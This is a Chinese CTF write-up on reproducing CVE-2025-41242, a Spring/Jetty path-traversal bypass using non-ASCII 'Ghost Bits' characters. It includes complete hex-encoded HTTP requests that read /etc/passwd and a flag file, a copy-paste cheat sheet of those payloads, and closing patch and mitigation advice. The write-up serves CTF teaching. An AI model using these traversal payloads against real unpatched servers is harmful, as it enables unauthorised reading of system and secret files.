欢迎光临
我们一直在努力

2026黄鹤杯 (学生组) Web 馆藏检索系统wp:复现 CVE-2025-41242

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */
#content_views .toc,
/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */
#content_views.markdown_views > p:empty:has(+ .toc),
#content_views.markdown_views > .toc + p:empty,
/* 富文本旧版目录标记 */
#content_views.htmledit_views #main-toc,
#content_views.htmledit_views #hr-toc,
#content_views.htmledit_views p[id*=\”-toc\”] {
display: none !important;
}
/* 目录去掉后,紧跟的首个标题不再多出一块上边距 */
#content_views.markdown_views > .toc + h1,
#content_views.markdown_views > .toc + h2,
#content_views.markdown_views > .toc + h3,
#content_views.markdown_views > .toc + h4,
#content_views.markdown_views > .toc + p:empty + h1,
#content_views.markdown_views > .toc + p:empty + h2,
#content_views.markdown_views > .toc + p:empty + h3,
#content_views.markdown_views > .toc + p:empty + h4 {
margin-top: 0 !important;
}

从容器拦截到 Ghost Bits:一套可复用的 CTF 路径穿越探测方法论(这道题确实有点意思)

合规声明:本文所有测试均在「黄鹤杯 2026」公开赛题靶场 env.xj.edisec.net 内进行。本文不提供可直接一键利用的完整脚本,仅讲解原理与复现思路。严禁将本文涉及的任何手法用于未授权系统。


一、写在前面:为什么要用 HEX 模式

这道题的核心是 CVE-2025-41242(Ghost Bits 幽灵比特位路径穿越),关键在于向服务器发送原始 UTF-8 字节(不是百分号编码后的形式)。但绝大多数 HTTP 发包工具在输入汉字时会做"额外处理",这种处理恰恰会破坏利用链。下面分两层讲清楚。

1.1 Raw 模式输入汉字,工具做了什么?

当你在 Yakit / Burp Suite / Postman 的 Raw 模式(文本编辑器)输入一个汉字时,工具会在背后做这个操作:

你输入: GET /馆/../flag HTTP/1.1
↓
工具的编码层检测到"馆"不是 ASCII 字符
将其替换为 UTF-8 百分号编码
↓
实际发出去: GET /%E9%A6%86/../flag HTTP/1.1

馆的 UTF-8 编码是 3 字节 E9 A6 86,Raw 模式自动把它转成 %E9%A6%86——变成了 9 个 ASCII 字符。Jetty 收到 %E9%A6%86 后正常解码、正常规范化,.. 被识别并折叠回上一级,漏洞触发条件消失。路径穿越也就无从谈起。

1.2 HEX 模式做了什么

HEX 模式下,你对编辑器做的每一处修改都精确到字节:

HEX 编辑器里粘贴: 47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 66 6C 61 67 20 48 54 54 50…
↑
直接写入了 3 个原始字节(E9 A6 86),
没有经过任何"字符→百分号"的转换
↓
实际发出去: GET /馆/../flag HTTP/1.1
("馆"的原始 UTF-8 字节原样送达)

JSocket 那端收到的是三个连续的 UTF-8 字节 E9 A6 86,不是 %E9%A6%86。Jetty 在解析请求行时直接处理原始字节,与 %xx 的编码逻辑完全不同——这是整个漏洞能够触发的先决条件。

1.3 同样一段文字,两种方式发出去的 Wire Bytes 对比

输入文本

使用模式

实际 wire bytes(请求行中的路径部分)

Jetty 解码结果

馆

Raw(自动转码)

2F 25 45 39 25 41 36 25 38 36(/%E9%A6%86)

/%E9%A6%86 → 正常解码、可读

馆

HEX(无转码)

2F E9 A6 86(/馆 的原始字节)

Jetty 把 E9 A6 86 当做路径段的一部分,.. 不会被正常折叠

第一行:Jetty 识别了百分号编码 → 正常规范化 → .. 被拦截 → 400
第二行:Jetty 把三个字节认成"一个非 ASCII 路径段"→ 与后面的 .. 产生歧义 → 绕过了规范化检查 → 200

所以整篇文档的所有操作都必须在 HEX 模式下完成,打完字节后千万不要切回 Raw 模式(一切回,工具会重新解析字符,百分号编码又回来了)。

1.4 本文使用的工具

全部操作在 Yakit Web Fuzzer 的 HEX 模式下完成。其它工具(Burp Suite Repeater、HackBar 等)只要也有十六进制编辑器入口,理论上同样可以操作。


二、整体探测逻辑链

先给全貌,后面每一步对应一个阶段:

① 普通 ../ → 400 ← 验证容器的默认防御
② 非ASCII段 + 单层 ../ → 200 ← 发现"隐式穿越"的可能性
③ 枚举基目录文件 ← 基目录找不到 flag,flag 在外面
④ 双层 ../ → 400 ← 字面 .. 无法逃逸基目录
⑤ Ghost Bits 深度校准 ← 用 /etc/passwd 找"到根需要多少层"
⑥ 读 /flag ← 校准完成,拿结果


三、环境准备

3.1 启动 Yakit

打开 Yakit,左侧功能栏找到 Web Fuzzer(或首页搜索 "fuzzer")。打开一个新标签页。

3.2 HEX 模式

在 Web Fuzzer 的请求编辑区顶部找到 HEX 按钮,点击切换到十六进制编辑器。之后的每一次操作都保持在 HEX 模式,不要切回美化模式。


四、第 1 步:普通 ../ → 验证 Jetty 拦截

思考:路径穿越的标准手法就是 ../。能不能直接溜过去?

操作:HEX 模式下 Ctrl+A → Delete 清空,粘贴:

47 45 54 20 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

逐字节解读:

47 45 54 20 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64
G E T 空格 / . . / e t c / p a s s w d

20 48 54 54 50 2F 31 2E 31 0D 0A
空格 H T T P / 1 . 1 \\r \\n

48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A
H o s t : 空格 e n v . x j . e d i s e c . n e t : 3 0 2 6 2 \\r \\n

0D 0A ← 空行(标志请求头结束,必须有)

送。

响应:

HTTP/1.1 400 Bad Request
…

org.eclipse.jetty.http.BadMessageException: 400: Bad URI

Jetty 直接返回 400 Bad Request,../ 被容器(不是应用层)拦截。


五、第 2 步:中文 + 单层 ../ → 发现绕过可能

思考:首页有一句"某些 URI 可能在不同组件中被解释为不同含义"——提示了思路:让 Jetty 和 Spring 对同一个 URI 得出不同的规范化结果。如果我塞一个非 ASCII 字符在前面,Jetty 会不会漏掉后面的 ..?

操作:

47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 69 6E 64 65 78 2E 68 74 6D 25 36 63 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

新字符说明:

E9 A6 86 ← 汉字"馆"的原始 UTF-8 字节(不是 %E9%A6%86 这种百分号形式)
2F 2E 2E ← "/.."(斜杠 + 两点)
2F 69 6E 64 65 78 2E 68 74 6D 25 36 63
← "/index.htm%6c"(%6c = l,拼成 index.html)

送。

响应:HTTP/1.1 200 OK,body 是首页的 馆藏检索系统 HTML 页面(4351 字节)。

注意:如果你的响应是 304 Not Modified,说明工具自动带了 If-Modified-Since 头(下一节踩坑汇总也会讲)。删掉所有多余请求头,只留 Host。

这意味着什么:

  • Jetty 确实因为非 ASCII 段 馆 而漏判了紧随其后的 ..
  • Spring 的 cleanPath 把 馆/../ 折叠成了 /,isInvalidPath() 检查通过
  • 但 %6c 编码没被解码,说明 Spring 和 Jetty 的编码路径解析也存在差异

⚠️ 常见踩坑:发出去后发现还是 400,说明工具在 Raw 模式下自动把汉字转码成了 %E9%A6%86。必须切 HEX 模式发原始字节。

⚠️ If-Modified-Since 陷阱:如果工具自动加了 If-Modified-Since 请求头,服务器会返回 304 Not Modified(文件未变化时复用缓存)。解决办法:只保留 Host 头,删掉所有多余请求头。本 HEX 中已经只有 Host 行,没有多余头。


六、第 3 步:枚举基目录文件

思考:单层穿越能读到基目录的内容。flag 会不会直接在基目录里?

知识点:基目录 = Spring 静态资源处理器工作的根目录。Spring Boot 应用启动后,会有一个 ResourceHttpRequestHandler 专门负责"读静态文件"。它需要知道一个起点——这个起点就是基目录。

操作:固定 E9 A6 86 2F 2E 2E 2F(馆/../)部分,后面的文件名依次换成不同的值。

完整 HEX

响应

47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 69 6E 64 65 78 2E 68 74 6D 25 36 63 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

200 index.html

47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 66 6C 61 67 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

404 flag

… 66 6C 61 67 2E 74 78 74 …

404 flag.txt

… 66 6C 61 67 2E 68 74 6D 6C …

404 flag.html

… 61 70 70 6C 69 63 61 74 69 6F 6E 2E 70 72 6F 70 65 72 74 69 65 73 …

404 application.properties

… 61 70 70 6C 69 63 61 74 69 6F 6E 2E 79 6D 6C …

404 application.yml

结果:基目录只有一个 index.html,flag 在更上层或文件系统根。

#剩下的自己去试试看吧,我在这里就不把图全部截出来了。


七、第 4 步:双层 .. 被拦 → 意识到字面量不可行

思考:基目录没有,往上走的唯一方式是再加一层 ../。试一下。

操作:

47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

注意这里有两组 . 2E 2E 2F(即 ../):

E9 A6 86 2F 2E 2E 2F 2E 2E 2F
馆 / . . / . . /

送。

响应:400 Bad Request(和普通 ../ 一样被拦)。

结论:两个连续 .. Jetty 能识别。单层能藏、多层藏不住——"中文段 + 字面 .."这条路走到头了。必须找一种 .. 完全不以字面量出现在路径中的方法。


八、第 5 步:Ghost Bits 深度校准

8.1 Ghost Bits 原理(极简版)

有一组特定汉字,经过 Spring StringUtils.uriDecode() 的"低 8 位截断"处理后,会被还原成 .%u002e;Jetty 后续把 %u002e 解码成 .,实质就是 ..。

关键字符映射:

汉字

Unicode

低 8 位

还原为

阮

U+962E

0x2E

.

严

U+4E25

0x25

%

灵

U+7075

0x75

u

丰

U+4E30

0x30

0

甲

U+7532

0x32

2

来

U+6765

0x65

e

连起来:阮严灵丰丰甲来 = .%u002e → 实际等于 ..。

每一个 阮严灵丰丰甲来/ 等价于 一层 ../。

8.2 为什么不能用 .. 字面量

因为 Spring 的 isInvalidPath() 检查的是字符串字面量——包含 .. 就拦。但 阮严灵丰丰甲来 经过 uriDecode 后变成 .%u002e,字面上没有 ..,所以放行了。这是 CVE-2025-41242 的核心。

8.3 用 /etc/passwd 校准深度

这是整个探测中最重要的一步。我们不知道静态基目录离文件系统根有多远,所以要用一个一定在根下的文件来试。

/etc/passwd 在每一个 Linux 系统都存在,是天然的探针。

1 层 Ghost Bits + /etc/passw%64:

47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 65 74 63 2F 70 61 73 73 77 25 36 34 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

新字节说明(Ghost Bits 21 字节):

E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5
阮 严 灵 丰 丰 甲 来

送 → 404(深度不够,还在基目录内)。

2 层 Ghost Bits + /etc/passw%64:

47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 65 74 63 2F 70 61 73 73 77 25 36 34 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

两组的区别:

第一组: E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5
第二组: E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5
中间用 2F(/)隔开

送 → HTTP/1.1 200 OK,body 开头为:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

校准成功:深度 = 2,刚好到文件系统根 /。

%64 是 d 的百分号编码,passw%64 = passwd。为什么末尾字符要做编码?因为 Jetty 在识别文件扩展名时可能有额外的安全检验,对疑似"配置文件后缀"的路径做拦截。末尾字符编码能绕过这类隐式检查——这是一个安全的通用做法。


九、第 6 步:读 /flag

思考:CTF 惯例,flag 文件在文件系统根 /flag。深度已校准(2),文件名用 fla%67(g 编码为 %67)。

操作:

47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 66 6C 61 25 36 37 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

与上一步不同的只有最后一段:

66 6C 61 25 36 37 ← "fla%67"(代替了之前的 "etc/passw%64")

送:

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 25

FLAG{xxxxxxxxxxxxxxxxxx}

Content-Type: application/octet-stream + 25 字节 → 这是文件系统直接返回的原始文件内容,不是应用层响应。


十、完整操作速查表

阶段

复制这段 HEX

预期结果

验证拦截

47 45 54 20 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

400 Jetty 挡了

单层绕过

47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 69 6E 64 65 78 2E 68 74 6D 25 36 63 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

200 index.html

枚举 flag

47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 66 6C 61 67 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

404 不在基目录

双层被拦

47 45 54 20 2F E9 A6 86 2F 2E 2E 2F 2E 2E 2F 65 74 63 2F 70 61 73 73 77 64 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

400 藏不住两层

校准(2 层 + etc/passwd)

47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 65 74 63 2F 70 61 73 73 77 25 36 34 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

200 /etc/passwd ✅

🏆 读 flag

47 45 54 20 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F E9 98 AE E4 B8 A5 E7 81 B5 E4 B8 B0 E4 B8 B0 E7 94 B2 E6 9D A5 2F 66 6C 61 25 36 37 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 20 65 6E 76 2E 78 6A 2E 65 64 69 73 65 63 2E 6E 65 74 3A 33 30 32 36 32 0D 0A 0D 0A

200 FLAG{xxxxxxxxxxxx} 🎉


十一、探测方法论总结

这套"路径穿越题探测模板"适用于大多数 CTF 题目:

① 字面 ../ → 容器拦了?
├── 没拦 → 直接穿越
└── 拦了 → 找容器与框架的 URI 解析差异(题眼)
② 非ASCII + ../ → 单层能/不能?
├── 不能 → 换别的绕过思路(参数注入、矩阵参数等)
└── 能 → 枚举基目录,flag 在不在?
├── 在 → 直接收工
└── 不在 → 试多层 ../ → 被拦?→ 换隐形式 ../(Ghost Bits / %u002e / 等)
③ Ghost Bits 等隐形式 → 先校准深度(/etc/passwd 是通用探针)
④ 校准后读 /flag / /home/*/flag / 环境变量 → 收工


十二、常见踩坑总结

现象

原因

解决

400 Bad Request

工具自动把汉字转成了百分号编码

用 HEX 模式发原始字节

304 Not Modified

请求头带了 If-Modified-Since

删掉所有多余请求头,只留 Host

505 HTTP Version Not Supported

请求格式不规范(多余字节 / 头字段格式错误)

严格按照 HEX 串粘贴,不要手动修改

%6c 发出去变成 %6C(大写)

工具对百分号编码做了大小写自动转换

检查 HEX 中 %6c 对应的字节是否为 25 36 63

404 at depth=2 但 /etc/passwd 能读到

文件名拼写或末尾编码不对

试 fla%67(不要写 flag),同时也试 FLAG、flag.txt


十三、防御与修复

  • Spring 官方修复:版本 5.3.44 / 6.1.22 / 6.2.10 重写了 StringUtils.uriDecode,消除了低 8 位截断(PR #34673)
  • 容器侧:Jetty 11/12 可通过 UriCompliance 配置提高严格的 URI 规范化等级
  • 部署侧:静态资源基目录尽量缩小(不要暴露整个 classpath)
  • 检测侧:RASP 在 FileInputStream 等底层 API 处做兜底检查,可检测到穿越后的 /flag 读取操作

写在最后:这道题考的不是漏洞知识储备(CVE-2025-41242 太新了,绝大多数人没有见过),而是“遇到不认识的东西时,能不能按逻辑链一步一步推下去”——从容器拦截到绕过到隐形式穿越,每一步的现象驱动下一步的思考。这才是 CTF 复现真正想训练的能力。

赞(0)
未经允许不得转载:171主机测评 » 2026黄鹤杯 (学生组) Web 馆藏检索系统wp:复现 CVE-2025-41242
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址